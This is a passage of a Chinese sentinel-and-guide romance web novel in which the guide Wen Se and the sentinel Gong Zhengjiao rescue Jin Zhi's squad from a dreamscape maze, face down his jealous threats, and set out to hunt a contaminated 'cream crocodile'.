弓铮皎管它叫“赐福”。 虽然闻璱并不能理解这究竟哪里有福。 按说特种人的精神环境大多接近精神体习惯的生存环境,或多少结合发育期所受身边环境的影响而产生非现实元素。 但公认的规则是:精神图景一定是会令该特种人感到安全、舒适的环境。 之前的冰川、洞xue都姑且算是可以理解,直到这个,闻璱终于忍不住问:“……这舒适吗?” “……可能他觉得舒适吧。”弓铮皎心虚地用爪子摸了摸鼻子,心里偷偷想:这人的精神图景……其实他觉得还挺好玩的。 随着几个哨兵纷纷恢复清醒,闻璱再次和几人交谈,确认前情确实和花豹哨兵所言完全一致,只是补充了更多细节。 倒数第二个失去意识的秃鹫哨兵甚至提起,在彻底昏过去之前,他试图唤醒队友时,依稀感觉到有种被浸透了水的纸巾捂住口鼻的窒息感,就像某种臭名昭著的酷刑。 秃鹫哨兵拥有小队里唯一一个飞行精神体,事发时,他派出精神体持续追踪逃逸的奶油鳄,希望能减少下次作战查找奶油鳄的时间。 ……也因此,这可能导致了‘酸雨’不得不用更直接的办法限制秃鹫的行动。 也就是说,‘酸雨’和奶油鳄之间,或许存在某种污染生物间的其它关系。 共生,或是捕食? 干想想不出一个所以然来,闻璱只得重新专注于唤醒神游哨兵上。 最后一个是金峙。 于情于理,两人的交情毕竟不是不存在,闻璱或许不应该把队长金峙放在最后一个,但闻璱还是毫不犹豫地这么做了。 弓铮皎没问为什么。 按住金峙的太阳xue时,闻璱的面色前所未有的凝重。 他低声叮嘱:“等到进入金峙的精神图景,什么也别想——抓住我,跑!” 弓铮皎有些疑惑,但还是认真地点了点头。 一霎之后,弓铮皎明白了一切的原因。 金峙的精神世界是一个博物馆,但并不空旷,只是狭长的一条弧形走廊,末端有个突兀的转弯,似乎还是个迷宫。 走廊两边的幕墙都是高高的玻璃墙,里面有各种各样猎奇的展品,在红色的打光下显得格外诡异。 最糟糕的是,弓铮皎落地的瞬间,身后的幕墙就动了起来。 玻璃像液态一样张开巨口,吐出原本的展品,骨架碎块组成了一只高大近猛犸象、前肢细小、尾巴修长的怪兽。 它迈开步子朝弓铮皎踏了过来,踩碎两边的幕墙,破碎的玻璃碎片裹挟着破碎的展品融合到怪兽头上,组成了锋利的牙齿。 到这一刻,弓铮皎再不明白这到底是什么生物就不礼貌了。 霸王龙,毫无疑问,金峙大概打算在精神图景里给它办个特展。 弓铮皎顾不上多看,飞身跃起,叼住眼前拚命扑腾的小灰天鹅含在口中,撒腿狂奔起来。 第103章 所以你上赶着来当ATM奴? 闻璱还算安宁。 因为弓铮皎虽然一刻不停地奔跑着,却像是有鸡的基因一般,脖子以上都稳定得不像话。 他用小翅膀把着弓铮皎的匕首牙,探出脑袋,想看看怪兽被甩开了多远,但体型太小,只看到弓铮皎茂密的金色毛毛,像一轮太阳。 “别担心,它追不上我的。”弓铮皎安慰道。 喉咙里直接发出来的声音震得就在舌头上的闻璱一阵晕眩,弓铮皎连忙又降低声音,说了一声:“抱歉。” “……没关系。” “这架势看着吓人,其实还好。”弓铮皎自信道,“就算迷宫不是我的主场,它不可能追得上我。” 他说着,跃至玻璃幕墙上借力转弯,动作轻盈而又敏捷。 论速度论灵活,弓铮皎确实都并不担心身后这只庞大的家夥,他甚至能做到故意保持不快不慢的节奏,让霸王龙不会跟丢。 闻璱松了口气,真情实感夸道:“幸好有你。” 这几个字极大程度地取悦了弓铮皎。 他跑得更欢,却也不忘问闻璱:“你见过这个场景?” 否则,实在没法解释闻璱在进入之前那副如临大敌的反应。 “……算是吧。” “你应该知道,如果不是为了带你,我在接管的精神图景里通常可以保持人形,也通常用人形进行‘拔牙’。”闻璱回忆起来,“曾经金峙濒临失控时,我为他安抚过一次,进入精神图景之后,他就是这么‘欢迎’我的。” “啊?”弓铮皎大受震撼,“那你怎么办?” “没办法,只能先逃跑,边跑边想办法,但我没你跑得这么快。”闻璱叹了一声,“他当时在失控边缘,这也不能全怪他,只是确实有点吓人。” 弓铮皎惊讶:“吓人吗?” 长玻璃牙的骷髅霸王龙而已,弓铮皎觉得其实也还好,说不上十分恐怖。 而他总觉得,闻璱的胆量似乎也不会被这些东西吓到。 “吓人,因为我上次见到的可不是骨架版本的。”闻璱平静地说,“是肠子淌了一地,满脸长满眼球,还浑身都是瘤子,走到哪里脓流到哪。” 弓铮皎:“……” 对洁癖的闻璱来说,确实没有什么能比这更吓人了。 弓铮皎立刻放弃这个话题,生怕过多的探索勾起闻璱不那么美妙的回忆。 他转而问:“那你上次去过他的图景内核吗?” “没有,我安抚从来不会冒犯图景内核,但我大概有些想法。”闻璱道,“理论上来说,迷宫的玩法要么是出去,要么是抵达最中心。” 这听起来倒是不 难,况且那只霸王龙在背后追着,把走过的路全都毁掉,避免了绕回头路的可能,某种程度上来说其实是件好事。 弓铮皎方向感很好,记忆里也不差,脑袋里立刻复盘了一遍刚刚走过的路。 还没等他想好,闻璱又道:“但上一次我飞起来也没有找到,因为我发现,这里好像是个循环迷宫,就像汉密尔顿环。” 弓铮皎:“……”听不懂。 “如果是这样的话,或许我们必须要把所有路径点都走过一遍才可以。”闻璱问,“你的体力可以吗?” “没有。”弓铮皎小声说,“而且,我怎么可能在你面前说不可以。” 闻璱:“……认真的,不行我们想其他办法。” “当然可以啦!” “那就好。” 顿了一会,闻璱主动解释道:“上一次我替他安抚,结果其实不太愉快,因为他的图景实在棘手,我只能把他的惊豹抓到图景里……算是给它上了个‘牙套’。” “这个过程中,其实很难避免窥探到一些他的隐私,我也很抱歉,所以后来,我们算是不欢而散了。” 弓铮皎反问他:“所以你是想说,你并不委屈?” “算是吧。”闻璱应了一声。 可弓铮皎沉默下来,似乎提起这事就不太开心。 良久,弓铮皎才闷闷地说:“可他喜欢你。” 闻璱不明白:“那又怎样?” 金峙虽然没有直接告白过,但闻璱很清楚他的意思,也很明显地表达了一种“我对你没意思”的婉拒。 在那之后,金峙似乎没有完全放弃,但也略有些遭受打击,两人之间一直有些不尴不尬。 “喜欢你就应该帮你,否则有什么资格说喜欢。”弓铮皎理直气壮道,“你拒不拒绝是你的事,但是我希望你过得好是我的事。” 闻璱被肉麻得抖了抖羽毛,忍着想笑和想抽他的欲望问:“所以你上赶着来当ATM奴?” 说真的,这可比金峙提供便利的那些行为看起来要可疑多了。 闻璱或许无法拒绝雪中送炭的行个方便,毕竟那很好偿还——但对这种有杀猪盘嫌疑的特殊需求绝对慎之又慎。 弓铮皎虎脸一红,幸好现在看不出来。 他恶劣地用舌头卷了一下闻璱,倒刺把闻璱的羽毛勾住,甚至牵得闻璱在他口中转了一圈,毛流也被裹得乱七八糟。 闻璱微怒:“蒸饺omo!” 弓铮皎:“……” 这下蒸饺omo老实了。 精神图景里上演并不紧张的《恐怖博物馆之迷宫追逐战》时,污染区里也不算是一派祥和。 金峙小队的哨兵在恢复清醒之后,轮流站岗等队长金峙被唤醒,期间闲着的哨兵便粘贴白噪音贴片调整状态,以便能够尽快投入下一场战斗。 白噪音贴片的有效时间并不长,但单片价格不算低廉,绝大多数小队只会选择在状态不佳时贴一片急救,也就金峙小队财大气粗,把它当普通消耗品使。 此时此刻,花豹哨兵一连贴了三片“风过森林”款式的,脑袋里嗡嗡的全是树叶簌簌声,却还是觉得眼前发黑。 秃鹫哨兵察觉到他脸色不好,凑上来关怀:“咋?” 花豹哨兵的眼神忍不住往金峙的方向瞟了一下,嘴硬道:“没事。” “关心队长呢?”秃鹫哨兵咧嘴笑道,“队长能有什么事?就是我们这时间有点紧张了啊。” 花豹哨兵干干道:“嗯。” 不远处,精神体是科莫多巨蜥的哨兵也观察着这边,闻言冷笑一声:“他那是关心队长吗?他是关心闻璱。” “为什么?”这是秃鹫哨兵的惊呼。 “我没有!”这是花豹哨兵的反驳。 “你俩是真傻还是装蠢?”巨蜥哨兵无差别攻击之后,也坐过来,对花豹哨兵不屑道,“我见过你偷偷去闻璱工作室了。” “啥?!”秃鹫哨兵又是一声嘶哑的惊呼,“老豹,你搞什么?你忘了队长不允许我们去闻璱那的,他可给我们都包了大红包的!” 花豹哨兵撇嘴:“我没收过。” 只是以金峙的存款数额,大概从来也没注意到过这点小钱的出入。 花豹哨兵对此心知肚明,才钻了这么个空子。 “队长喜欢闻璱,不许我们接近闻璱,他偷偷喜欢闻璱,想撬队长墙角。”巨蜥哨兵双手合十拍了一下,“现在清楚了吧?” 她又有些调笑地看向花豹哨兵:“想到闻璱是为了队长才来救我们的,你很吃醋吧?” 花豹哨兵固执道,“闻璱人很好,就算是路人也会出手施救的。” “而且……”花豹哨兵的视线又朝金峙的方向飞快地一甩,准确地说,是落在闻璱和弓铮皎身上。 “而且队长本来也没戏了。” 秃鹫哨兵惊呼:“好大的胆子!把你红包转给我我就不把这话告诉队长。” “怎么,不服气?”巨蜥哨兵则乐于吃瓜。 “不是不服,是事实。”花豹哨兵故作无所谓地摊手,“看看那是谁?闻璱刚刚对他很亲密,是闻璱主动的。” “哈?” “是弓铮皎吗?我上次在白塔偶遇他还是三四年前。” 花豹哨兵点头:“是他没错。” “等等……”巨蜥哨兵也品出不对来,“所以说,论坛那个帖子,真是弓铮皎本人发的?” “是啊。”花豹哨兵的眼中难掩落寞。 巨蜥哨兵的三观惨遭冲刷,喃喃道:“他可是前任首席,我弟的偶像,写的文本居然那么梦幻细腻疼痛咯噔……” “你弟的偶像为什么不是队长?”花豹哨兵打岔。 “虽然我很喜欢队长,但作为哨兵,队长和弓铮皎比,是不是还欠缺了一些可比性。”巨蜥哨兵反驳,“而且偶像这个词本来就有点复古好吗,队长还没成为传说呢。” “谁能给我解释一下,你们到底在说什么。”秃鹫哨兵不甘被排挤在话题之外。 “一看你就不经常上论坛。”巨蜥哨兵道,“之前论坛上有个小号发了个闻璱梦男帖……你别让我给你解释梦男的含义。总之,就是写了一堆YY和闻璱谈恋爱的胡言乱语,还把以前嘴过闻璱的人都@出来骂了,骂了上百楼,当时队长还在下面发了个顶呢,你们都不知道?” “有这回事?”秃鹫哨兵挠头。 “有。”巨蜥哨兵信誓旦旦,“但那时候他只是做梦追求闻璱,后来他写到闻璱带他回家见家长、过生日,队长说太过分了就把回覆删了,还加好友想威胁说再YY就把这家夥人肉出来暴打。” “那怎么没打呢?”秃鹫哨兵发问。 “因为是小号啊,小号怎么人肉,而且人家根本没理他。” “队长破防了。”秃鹫哨兵评价。 “……”巨蜥哨兵,“你不愧是食腐生物,怎么感觉我的唾液都没你毒。” 然而巨蜥哨兵看着另一边确实破防了的花豹哨兵,忍不住道:“不过按照豹子的说法,闻璱和弓铮皎那么亲密的话,帖子里那些可能不是YY,而是真的。怪不得弓铮皎要等到前几天用大号回帖,他真是太懂网络了,估计忍辱负重就是为了反转的一刻,他等这一天很久了吧……可恶,我也好想这样爽一下。” 秃鹫哨兵又没听懂。 巨蜥哨兵翻了个白眼,解释道:“那个帖子一开始发出来没人信,大家都以为这是什么行为艺术,还有人说那个小号舔狗舔到最后一无所有,反正都是看热闹看笑话的。直到前几天到求婚篇,回帖里发出来了求婚戒指的照片,但并不是楼主那个小号,而是蒸饺omo发的——就是那个蒸饺omo,大家都知道的,就是弓铮皎啊!” “老天!”秃鹫哨兵大受震撼,“队长知道吗?” “废话,当然!那帖子直接爆了!”巨蜥哨兵低声道,“如果不是因为刷到这个大受刺激,队长怎么突然这么上进了?” “……迟了。”花豹哨兵低沉道,“大家都迟了。” “是啊,之前没人以为那些是真的,回帖都说不是被盗号,就是弓铮皎疯了。队长也以为只是终于出现了一个能打的竞争对手,但是现在看来……” 三个哨兵一齐回过头去,望向金峙的方向。 好巧不巧,正逢一切顺利,金峙像他们之前一样猛地弹射坐起,抠着喉咙咳得上气不接下气,闻璱和弓铮皎也善解人意地松开手。 那距离说近不近,说远也不远,正好够视力超群的他们都清楚地看到,闻璱指间有银光一闪。 “就是那个吗?”秃鹫哨兵好奇。 “是。”花豹哨兵苦涩。 “就是这一枚,但是把宝石拆掉了?”巨蜥哨兵啧啧了两声,“队长要发疯了。” 第104章 做梦去吧你。 金峙花了足足好几分钟时间,才勉强缓过呼吸来。 相对他的队员,他受‘酸雨’的影响更严重,这也是难免。 起初缺氧让五感稍显恍惚,纷杂的谈话声传进耳朵里,他听到队员熟悉的声音,说什么“发疯了”。 接着,耳畔传来一句更近的关怀:“还好吗?” 嗓音远远不如他的队员那么熟悉,但金峙还有些逸散的理智魂魄就这样全都回到了身体里。 “闻璱……”金峙回过头,喃喃道,“你怎么会在这里。” 和花豹哨兵、和之前他的其他队员都如出一辙的反应。 闻璱还没来得及解释,金峙的目光立刻捕捉到了两件事。 首先,是闻璱的身边,还站着另外一个金发蓝眼的哨兵,顶着一张好巧不巧才被金峙列为头号大敌的帅脸。 其次,是闻璱的手指。 金峙看到闻璱的手指上套着银亮的环,在天还没亮的昏暗环境里,闪得有点刺眼了。 于是,金峙毫不犹豫地出拳—— 当然是对着弓铮皎。 金峙的反应绝对不可谓不快,就连一旁悄悄关注着这边八卦的哨兵都没反应过来,沙包大的拳头几乎就已经在弓铮皎脸前了。 只可惜,唯独这一拳的目标反应更快。 弓铮皎抬手轻描淡写地截住这一拳,反手握住金峙的手腕,就要把金峙拧倒在地上。 然而也就在那一瞬间,他脑袋里的意识少有地跑过了被挑衅的反击本能,让这个动作到此为止。 闻璱还在看着呢。 现在身份不一样了,他是不是应该体面一点,拿出有身份的人的气度来? 弓铮皎微微一笑,硬生生把金峙的手捏下来握了个手,力度比刚才对花豹哨兵还要更大得多,几乎都能听到金峙的手劈啪作响。 “很高兴认识你……” 故作礼貌的话没说完,就被闻璱强势介入了。 两个S级哨兵突然动手,一切就发生在电光石火之间,等闻璱反应过来时,弓铮皎已经捏着金峙的手了。 虽然眼睛没能及时响应,闻璱的脑袋却是立刻明白了,当即脸色一沉,握着弓铮皎的手腕让他松手。 弓铮皎也没说什么,毫无对抗之意,乖乖地放手。 闻璱面沉如水,冷冷地看着金峙:“金峙,你疯了吗?” 金峙的目光在闻璱和弓铮皎脸上来回打转,恰好弓铮皎站在闻璱的视野盲区里,恶劣地勾了勾嘴角。 “……是你疯了。”金峙阴沉道,“你和弓铮皎扯上关系?你不知道,他都是一个要死了的人吗?还是说,你就说因为这才勉强自己的?” 后半句话话音刚落,金峙自己先信了半分,脸色稍微放松些许:“你不用这样……” 话又没来得及说完。 彷佛这场对话里有个什么互相打断对方的KPI,这一次轮到闻璱。 他清楚自己和金峙的体能差距,也明确知道自己的优势在哪,更没有非要以卵击石的冲动。 他只是用精神力在金峙的脑袋里很有保留地爆了一下,正好刚才还接管着金峙的精神图景,这简直易如反掌。 顿时,金峙惨叫一声,捂着脑袋蹲在地上,连句完整的话也说不出来了。 不远处的几个哨兵观望着这边的情形,除了站岗的哨兵和花豹哨兵,其余几人早已冲过来,不远不近地形成了一个包围圈。 而现在见金峙落入下风,几人的精神体纷纷进入备战状态,似乎随时准备帮队长找回场子。 弓铮皎鼻腔里溢出一声不屑的嗤笑,毫不客气地捏了捏自己的拳头。 闻璱扫了一眼蹲在地上呻吟的金峙,目光平静,依次掠过这一圈的五个哨兵,轻声问:“想打架?” 剑拔弩张,面对着几个配合良好的高级别哨兵,这个向导却轻松得似乎只是在逗家门口的流浪猫狗:“我刚刚进入过你们的精神图景,连接还没有彻底抹去,你们最好不要冒险。” 冒险的结果——大概就是像金峙那样被共鸣炸弹爆得短时间内再起不能。 这对哨兵们的震慑效果绝对够强。 有人不服道:“有本事你别用精神力!” “凭什么?”闻璱淡然反问。 说话时,他微微动了下手指,朝着背后弓铮皎的方向,正是戴戒指的那根手指。 于是话音刚落,弓铮皎如金色闪电般劈了出去,一招就把刚才说话的哨兵劈倒在地,精神体狼獾也被弓铮皎随手夹在腋下,像夹着一只娃娃机刚抓到的毛绒玩具。 弓铮皎的动作太快了,哨兵们毫无防备,一时间又齐刷刷地将攻势对准了弓铮皎的方向。 闻璱面不改色,朝弓铮皎招了招手,让弓铮皎回到自己身后。 趁着哨兵们扶起被打趴的队友,他偏过头,刻意而又轻描淡写地低声吩咐了一句:“现在不是动手的时候。” 弓铮皎乖乖“嗯”了一声。 显然,这番装模做样、欲盖弥彰的窃窃私语不可能逃过哨兵们的耳朵。 秃鹫哨兵无语道:“那你还先动手。” 闻璱陈述:“金峙先动的手。” “那不一样,队长他……”秃鹫哨兵试图强词夺理。 “他恩将仇报,让你们所有人都背上同样的道德债,并断送了任务完成的唯一希望。”闻璱道。 “你——”哨兵们理亏地语塞了。 终于,金峙从恍惚中勉强恢复了半分神智,艰难地抬起头,强撑着说:“对,我先动的手,我是故意的——这任务大不了不做了!” “啥?”秃鹫哨兵惊呼一声,被巨蜥哨兵狠狠踩了一脚,半路变成一声凄惨的悲鸣。 闻璱微微蹙眉,居高临下地垂眸看着金峙。 “你们先走开。”金峙说。 等到哨兵们散开到远处,金峙才咬牙切齿地说:“闻璱,你知不知道,我宁可今天死在这里,也不想看到这种画面。” 闻璱漠然道:“不关心,你现在还活着,我这次来是因为……” 金也不知道是气得还是疼得眼眶发红:“明明我就差一点点了,凭什么你选他?凭什么?” “我不是很想跟你解释这些,我是来谈正事的。”闻璱直入正题,“我和弓铮皎可以帮你杀那只奶油鳄,而且,关于你们所经历的那场‘超强酸雨’,我……” 金峙根本听不进去任何正事:“你给我个准话!” 闻璱只好说:“没死成功你很可惜吗?那好,弓铮皎,动手。” 话音刚落,金色闪电又劈了出去,一膝盖把金峙怼进地里。 弓铮皎很通人性地并没有真的下死手,而是作出“再不配合就下死手”的态度,想逼金峙就范。 眼见着这边又动起手来,秃鹫哨兵的精神体在高空打转,随时准备偷袭式支持金峙。 可惜金峙也着实是个硬骨头,精神体惊豹都被逼得在周围哈气了,金峙也死活不松口,甚至还让惊豹向天上嘶吼了几声,叫秃鹫灰溜溜地回到哨兵身边。 闻璱也无所谓金峙的态度如何,只要不会再打断自己就好,他缓缓续上刚才的话:“关于那场‘超强酸雨’,我的朋友有一些新发现,我们想和你做个交易。” 碍于旁边还有其他哨兵在,虽然现在的距离恐怕听不清自己的话,闻璱仍然没有讲出太多细节,只是简短地剖明利害关系。 末了,闻璱总结道:“于公于私,这对你和公会都算利大于弊。” 他眨了眨眼,用眼神示意弓铮皎此时可以稍微松开对金峙的禁锢。 然而一通晓之以理的正经话,落在金峙的耳朵里,重点还是不可避免地偏移了。 金峙抬起头,眉毛还拧得死紧,眼中却爆发出是罕见的愉快,但并非为了闻璱“利大于弊”的提议,而是抓住了闻璱并未过多掩饰的弱点。 “原来是你需要帮我完成猎杀任务,是你想要这个人情……” 闻璱眉头微挑,对金峙的反应似乎也说不上很意外。 “可你知不知道,我冒险接这个猎杀任务,就是为了你?我现在真的无所谓任务如何了,反正,你也看不上我,不是吗?” 金峙扯了扯嘴角,信誓旦旦道:“现在,是你有求于我啊。” 弓铮皎用力掐了一把金峙的后颈,闻璱淡然反问:“所以呢?” “……做我的向导,我——”金峙说。 然后当场被弓铮皎又按到了地里,这回闻璱使眼色也不顶用了,弓铮皎嘲讽道:“做梦去吧你。” 闻璱只能蹲下,伸手按住弓铮皎的肩膀,指尖在弓铮皎肩头敲了敲:“让他把话说完。” 于是弓铮皎又掐着脖子把金峙的脑袋拔出来,恶狠狠道:“说!” 金峙呸了几口灰尘泥土,喘息着说:“做我的向导,你想要我做什么,都可以。” 他顿了顿,把被弓铮皎掐得几乎忍不住的痛呼咽回肚子里,艰难继续:“只要你答应我,什么催化剂、什么希冕创辉,你要我做什么都行,甚至你不用想着要做什么任务来得到人情,我为我的向导做事情是应该的义务。而且,你明白我的,我不会强迫你做什么,不管你是想玩艾斯爱慕还是柏拉图,我都可以,我尊重你,我这样……只是想有一个和你培养培养感情的机会。” 这听起来很有诱惑力。 也很熟悉。 类似的话术,早在几年前闻璱就听过一次,那之后他们不欢而散——这是没有告诉弓铮皎的隐情。 金峙并不是会落井下石的人,也不像彭枭那样下贱得“得不到就毁掉”,但威胁似乎是刻在金峙DNA里的陋习。 也是绝大多数自恃强大、却又在社会中被归类为高危群体,总是被透过有色眼镜看待的哨兵骨子里的本性。 可是“我能为你做很多”,甚至连更有甚者的“命都给你”,这些自以为是的感动,从来都激不起闻璱什么波动。 虽然他从来也对金峙没什么感觉,不认为有“培养感情”的计画这一切就会有什么改变。 闻璱看着金峙,很平静地说:“你还是这样,一点都没变,所以,我们连朋友都难做。” 第105章 那这是好是坏呢? “现在我只给你两个选择,你也给我句准话。”闻璱伸出手指,“要么,你现在跟我去完成猎杀任务,积分归你,履历也归你,事后你帮我引荐金岸会长,这件事也不用你再多操心;要么,现在带着你的小队放弃任务,立刻滚蛋。” 金峙犹有不服:“我——” 闻璱眼神一动,弓铮皎就钳住金峙的喉咙,叫他说不出其他话。 “点头,或者摇头。”闻璱道。 偏偏金峙还实在是个“宁为玉碎不为瓦全”的硬骨头,梗着脖子就是不动一下,双眼仍然死死盯着闻璱,满是不甘。 金峙其实已经想要答应了,或者说,无论如何他都不会因为怄气而和闻璱对着干。 只可惜性格使然,有些指令似乎和金峙的内核代码有冲突,让他怎么都学不会长大。 闻璱看着金峙,缓缓开口:“你带着信任你的队友深入险境,你让金岸会长替你打点好了接下来的一切,现在你说做这一切都是为了我?不管你信不信,反正我不信。” 他偏过头,目光似乎不经意地扫过金峙的队友们:“如果刚才不是我和弓铮皎来得及时,他们大概都会陷入神游,你也不例外,而到那个地步,他们甚至都不会知道自己居然就这样不明不白地‘死’了,你认为,这和你脱得开干系吗?他们如此冒险,也是为了这份积分和履历,你说不做就不做了,你又想过他们吗?” “但凡你有一点点责任心,现在都不该说什么‘为了我’而放弃任务,也应该阻拦催化剂上市,让他们不要暴露在风险中。金峙,别再让我看不起你。” 话语之间,金峙的目光渐渐沉下来。 良久,他喉咙滚动,终于很微弱地点了点头。 闻璱便微微一笑:“合作愉快。” 既然身份已然不同,弓铮皎也爽快地放松了对金峙的拿捏,闪身弹到闻璱身侧。 说实话弓铮皎一点也不想触碰到金峙,感觉身上又沾染了很刺鼻的气味,一撤开就不动声色地想要抱抱闻璱,让向导素把金峙的气味覆盖过去。 然而弓铮皎幸好没有这么做,手臂叫嚣着想要抬起来时,他突然想到这岂不让自己成了金峙间接接触闻璱的媒介,连忙悬崖勒马。 就让闻璱的余光很不凑巧地捕捉到,他彷佛抽筋般地抖了一下,接着默默地离闻璱远了半步。 闻璱:? 闻璱瞥了弓铮皎一眼,到底没说什么,先跟金峙商量起来。 其实就像之前说过的一样,这件事用不着也轮不到金峙去做些什么,金峙只不过是闻璱用来和金岸会长交谈的敲门砖。 不过,情绪化的金峙好不容易低了头,闻璱也只得给他个台阶,随便糊弄了两句,细细听来,不过还是复述刚才的话,最多又添加了些细节。 这份体贴金峙当然也能领会,只是他越是能感受到闻璱的体贴,心里就越是窜上来一阵阵的不甘。 金峙没让闻璱把这些话说太多遍,就点了点头:“我知道了。” 脸色有些苍白。 闻璱便道:“那走吧。” 气氛好不容易缓和下来,金峙的脑袋冷却下来,忍不住道:“闻璱,其实我……我不是那个意思。” “上一次也是,这一次也是,我不是真的想要威胁你做什么,我只是生气,因为你总要跟我把关系剖得那么清楚,上来就说利益不利益的,好像如果对我没好处,我就不会帮你一样。” “我知道。”闻璱道,“但我希望,你帮我是因为你有利可图,而不是我们有感情,否则我会很难办。” 金峙有些不可置信:“我就让你那么困扰?” “是。”闻璱坦然承认,“大事你其实帮不到什么忙,你的话在金岸会长那里没有重量,小事的话,我也不希望因为小事就要答应我本来不想答应的邀约,我讨厌欠人情债。” “我不是……” “你是的。”闻璱说,“之前抵押车的钱我转给你了,也给你弟弟发了个红包,我希望所有事能像这一样清楚、明白。” 这话立刻刺得金峙说不出来一句话了。 闻璱也懒得和金峙再多拉扯,吩咐金峙去集结小队哨兵,自己则带弓铮皎又走远了些。 他伸手去拉弓铮皎的手臂,也不管金峙会不会还在悄悄关注自己这边,总之走远这两步已然算是足够客气。 ——然而没拉到,弓铮皎灵巧得泥鳅一样躲开了。 闻璱不得不承认自己刚才注意到的异常并非错觉。 “你是怎么了?” “没事。”弓铮皎说。 顿了顿,又有些心虚地改口:“本来没事,但现在可能有一点点无伤大雅的小事……这、这能问吗?” 闻璱先是疑惑地微挑眉头,见弓铮皎下意识地摸了摸脖子,突然间福至心灵地有了猜测。 那眉头落下时,他眼中的情绪就变成了瞭然,甚至微微勾起唇角,温和道:“可以。” 弓铮皎:“我以前是不是……” 闻璱:“不是。” 弓铮皎一怔:“你知道我要问什么?” “你的心意很难猜吗?”闻璱漫不经心,“你和他还是不太一样,相比起来……ATM奴虽然更可疑,但你不让我讨厌。” 弓铮皎不知道自己该不该笑,但还是:“……嘿嘿。” 既然话题被带到了这里,闻璱顺便道:“你没必要拿自己和他比,因为我从来没有拿你和别人相比过。” 或者说是这个赛道以前从来没有人成功跻身过,以至于闻璱从未萌生过比较的想法。 “也不是比,我只是担心我以前也给你带来过困扰。”弓铮皎夹带私货,“真要比起来,我win得很轻易好吗?我只是善于反思——这也是我win得很轻易的原因之一。” 论起这些,他倒是从不内耗,永远自信。 并自信地使出自己的杀手锏:用拟态尾巴又开始骚扰闻璱。 闻璱被他逗得忍俊不禁,捏了一把尾巴尖:“别让他们看到了。” 弓铮皎被掐得尾椎泛起微痛微麻的过电感,很难说这一下究竟是警醒更多还是玩弄更多。 但弓铮皎清楚现在的场合,没说什么,只是用尾巴继续缠上来,不带任何青涩意味,只是撒娇。 “喔……”闻璱一边把玩着尾巴,一边作出沉吟的模样,“其实一开始,确实也给我带来了很多困扰。” 晴天霹雳!弓铮皎大惊失色:“啊?” 他以为闻璱至少会说些场面话……不对闻璱从来不是这种人……所以他以为闻璱是真心认可他的! “这很奇怪吗?”闻璱理所当然道,“你行迹可疑,还做过一些很变态的事情,我一开始想着,你压力太大,需要理解。” 弓铮皎:“……” “不过后来,我发现你只是单纯的喜欢这样发疯。”闻璱说。 弓铮皎继续漫长的沉默:“……” “但你确实用心学习,也善于学习,善于模仿,养成你比养水培荔枝快多了。” 然而夸奖的话还没来得及让弓铮皎多得意几秒钟,闻璱又道:“而且你发疯很真诚,是那种很不一样的疯。习惯了之后,我也有时候觉得,你像一罐比比多味豆。” 弓铮皎也看过那部著名的小说,但参不透闻璱这个比喻的含义,艰难道:“那这是好是坏呢?” “虽然不知道下一颗是猎奇的口味还是很正常的口味,这一点还是有些困扰……”闻璱轻笑一声。 他说着,两只乌黑的小翼突然从雪白的发丝里钻出来,但没有像作战、侦查时那样用于掩住一侧眼睛,而是向前展开,挡住了两人的侧脸。 然后,他近了半步,很轻地啄吻了一下弓铮皎的鼻尖。 一个蜻蜓点水到,与其说是吻,倒不如说只是一触。 小翼散去,闻璱又对近在咫尺的鼻尖吹了一口气。 “但总之,都算是不差的礼物。” 弓铮皎被充盈着清甜向导素的一口气险些直接迷晕过去。 不夸张的说,被标记之后,闻璱的向导素真能起到椿药迷药治病灵药三合一的效果,一瞬间弓铮皎有种既神清气爽也头昏脑胀的错乱感。 回过神来,弓铮皎第一件事就是想不管不顾地抱抱闻璱,最好能再猛吸一口。 可闻璱早有所感,温声道:“该走了,我们得把正事忙完。” 如此温柔的声音吐出如此冰冷的文本——弓铮皎别无他选,乖乖跟上。 等到返回金峙小队的临时营地之后,哨兵们都已经互相知会过情况,准备就绪。 “奶油鳄的情况我已经跟你们都了解过了,我们时间紧张,务必速战速决,接下来大家听从指挥。”闻璱道。 几人纷纷点头。 闻璱却让了半步,重申道:“听从弓铮皎的指挥,接下来他是我们作战小队的临时指挥,我会为大家辅助。” 这话一出,其他哨兵暂且不说,金峙第一个眉头倒竖:“什么?凭什么?” “凭这里他是唯一一个有三次成功猎杀奶油鳄经验的人。”闻璱淡淡道。 闻言,几人面面相觑,不约而同地偃旗息鼓,即便是金峙也一脸愤懑地闭上嘴。 有闻璱如此正式地介绍,弓铮皎也不多推诿,冷着脸倒十分有队长的气派:“秃鹫,低空盘桓,警戒;巨蜥,你跟随我参战。其他人周围待命,不要轻举妄动。” 金峙冷笑一声:“我呢?” 弓铮皎没给金峙眼神:“其他人周围待命,不要让我说第二遍。” 他说着,居然偏过头隐晦地对闻璱眨了眨眼,似乎在说:看我学你学得怎么样。 “私人恩怨牵扯到作战里,合适吗?导致危险,你担待得起吗?”金峙怒视弓铮皎,“闻璱让你指挥,你就是这样滥用私权?” 金峙作为队长确实是小队里最强的哨兵,没有之一,自认为理所应当承担更多的战斗职责,不免将安排当做公报私仇。 弓铮皎无法反驳自己的私心,对于其它指控,却是货真价实的 理直气壮。 “是你搞错了。”弓铮皎漠然道,“我一个人就能杀掉它,你们几个只会妨碍我,布置秃鹫和巨蜥,也是为了让你们的任务报告有内容可写。” “你!”金峙怒不可遏,“你别忘了这可是闻——” 他下意识地又想威胁,弓铮皎仍然没让他把话说出口。 阿咬凭空出现,一口咬住金峙,丢到了十几米开外,又欢快地扑过去,把金峙当毛线球玩。 “我有分寸。”弓铮皎审视的目光看过几个哨兵,“你们看起来很有骨气,是服从安排,我有办法让你们完成任务呢?还是像金峙一样,添乱,所以只配做白吃积分的废物?” 也不知是有意无意,他又在偷学闻璱说话的方式,却没能学到态度温和的谈判技巧。 类似的选择由闻璱给出时,叫人彷佛真心收益,心服口服;可弓铮皎冷着脸说,便像是无情的军训教官。 几名哨兵都有种梦回圣所特训课的憋屈感,直到阿咬叼着灰头土脸的金峙回来,才有人低声开口:“我们服从安排。” 闻璱在旁侧看在眼里,心里好笑,面上却是一派云淡风轻。 待到弓教官训过了话,准备带队启程时,闻璱经过他,似乎不经意地碰了一下他的手腕。 含笑声在弓铮皎脑袋里响起:“我也服从队长安排。” 第106章 我想耍这个流氓好久了 任务目标,U-1奶油鳄,栖息与一区未探索局域的丛林沼泽。 丛林中远远望去,只见灰绿色郁郁葱葱,很难看出什么生物的痕迹。 弓铮皎比了个“静息”的手势。 虽然什么都没看到,小队还是悄无声息地停了下来,各自静息隐蔽起来。 除了弓铮皎。 